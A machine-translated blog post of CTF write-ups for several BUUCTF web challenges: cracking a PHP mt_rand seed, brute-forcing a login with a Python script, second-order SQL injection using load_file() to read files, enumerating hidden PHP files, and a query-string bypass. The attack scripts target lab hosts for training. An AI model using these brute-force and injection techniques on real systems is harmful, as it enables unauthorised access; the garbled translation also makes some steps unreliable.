[BUUCTF]トレーニング2日目

[GWCTF2019]退屈な宝くじ

トピックを開くのはこのようなもの
ここに写真の説明を挿入
ですソースコードを表示してください!主要なウェブページを見つけて開きます!
ここに写真の説明を挿入
以下はコード監査リンクです

<?php 
#这不是抽奖程序的源代码!不许看! 
header("Content-Type: text/html;charset=utf-8"); 
session_start(); 
if(!isset($_SESSION['seed'])){
    
     
$_SESSION['seed']=rand(0,999999999); 
} 

mt_srand($_SESSION['seed']); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str=''; 
$len1=20; 
for ( $i = 0; $i < $len1; $i++ ){
    
     
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);        
} 
$str_show = substr($str, 0, 10); 
echo "<p id='p1'>".$str_show."</p>"; 


if(isset($_POST['num'])){
    
     
    if($_POST['num']===$str){
    
    x 
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; 
    } 
    else{
    
     
        echo "<p id=flag>没抽中哦,再试试吧</p>"; 
    } 
} 
show_source("check.php"); 

phpの疑似ランダムブラストを使用し、pythonスクリプトを使用します

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'zXGgRbXiep'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break

print(res)

次に、php疑似ランダム番号ブラストツールを使用し
ここに写真の説明を挿入
て結果を取り込み、フラグを取得します

<?php
mt_srand(948663066);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    
    
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo "<p id='p1'>".$str."</p>";

ここに写真の説明を挿入

[所属鼎杯2018]コメント

まず、ログインしてメッセージを残す必要があります。ログインボックスのプロンプトを見てください。burpを使用する必要があることはおそらく知ってい
ここに写真の説明を挿入
ますが兄のスパイシーなチキンスクリプトハングアップするのはpythonが好きです。

import requests
import time
session = requests.session()
for i in range(999):
    data = {
    
    
        'username': 'zhangwei',
        'password': f'zhangwei{i}'
    }
    r = session.post('http://89a6083e-7291-41f2-b946-fc56ecd543c1.node3.buuoj.cn/login.php', data=data)
    print(i)
    time.sleep(0.2)
    if 'username or password error' not in r.text:
        print(r.text)
        print(data)

ここzhangwei666パスワードを取得してからログインします。
ここに写真の説明を挿入
最初にSQLインジェクションかどうかをテストしますが、明らかにそうではありません。
ここに写真の説明を挿入
次にXSSそれが本当に成功したかどうかを試してください。Cookieを
ここに写真の説明を挿入
再生しようとして失敗しました。コンソールで何か良いものが表示されましたが、
ここに写真の説明を挿入
ここに写真の説明を挿入
まったく表示されませんでした。これを行います。他の人のブログを読んだ後、ファイルを復元する必要があることがわかりました。git log --reflogすべてのブランチレコードを表示します。
ここに写真の説明を挿入

ここに写真の説明を挿入

二次注入の問題
ここに写真の説明を挿入
ここに写真の説明を挿入
ここに写真の説明を挿入
。通常の注入でエコーが発生しない理由がわかりません。
ユーザーがroot権限を持っていることをユーザーが知っている場合、フラグはデータベースにありません(データベースにある場合、root権限は必要ないため)。 SQLインジェクションを使用してローカルファイルを読み取ることができますload_file()
ここに写真の説明を挿入

ここに写真の説明を挿入

bash_history表示するwwwユーザーがいます
現在のユーザーが使用した履歴コマンドを保存して、簡単に見つけられます
ここに写真の説明を挿入
彼が/ home / www /の下の.DS_Storeファイルを削除したことを確認しましたターゲット環境はdockerであるため、.DS_Storeファイルは/ tmp / htmlにあるはずです。に。.DS_Storeファイルには、多くの場合、目に見えない文字がいくつかあり、hex関数を使用して16進数に変換できます。
ここに写真の説明を挿入
ここに写真の説明を挿入
ここに写真の説明を挿入

[BJDCTF2番目] elementmaster

リクエスト後にこれを見つけましたか?ヘキサデシマルショー
ここに写真の説明を挿入

ここに写真の説明を挿入
ここから、それは化学元素であると推測されます。
ここに写真の説明を挿入
インターネットでスクリプトを見つけてください

import requests

url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
        r=requests.get(url+i+'.php')
        if r.status_code == 200:
                flag+=r.text
print (flag)

結果And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
を取得するフラグを取得するには、訪問してください

[MRCTF2020]マトリョシュカ

ここに写真の説明を挿入
?b%20u%20p%20t=23333%0a
ここに写真の説明を挿入
ここに写真の説明を挿入

ここに写真の説明を挿入
ここに写真の説明を挿入
まず、暗号化防止コードが登場します
ここに写真の説明を挿入
ここに写真の説明を挿入

[HCTF 2018] WarmUp

CVE-2018-12613
ここに写真の説明を挿入
ここに写真の説明を挿入

参考記事

git resetplus
notの違い--hardi SpringとAutumnこの記事は、PHPの文字列解析機能Bypassを使用して非常によく書かれ
ています。

おすすめ

転載: blog.csdn.net/solitudi/article/details/108889210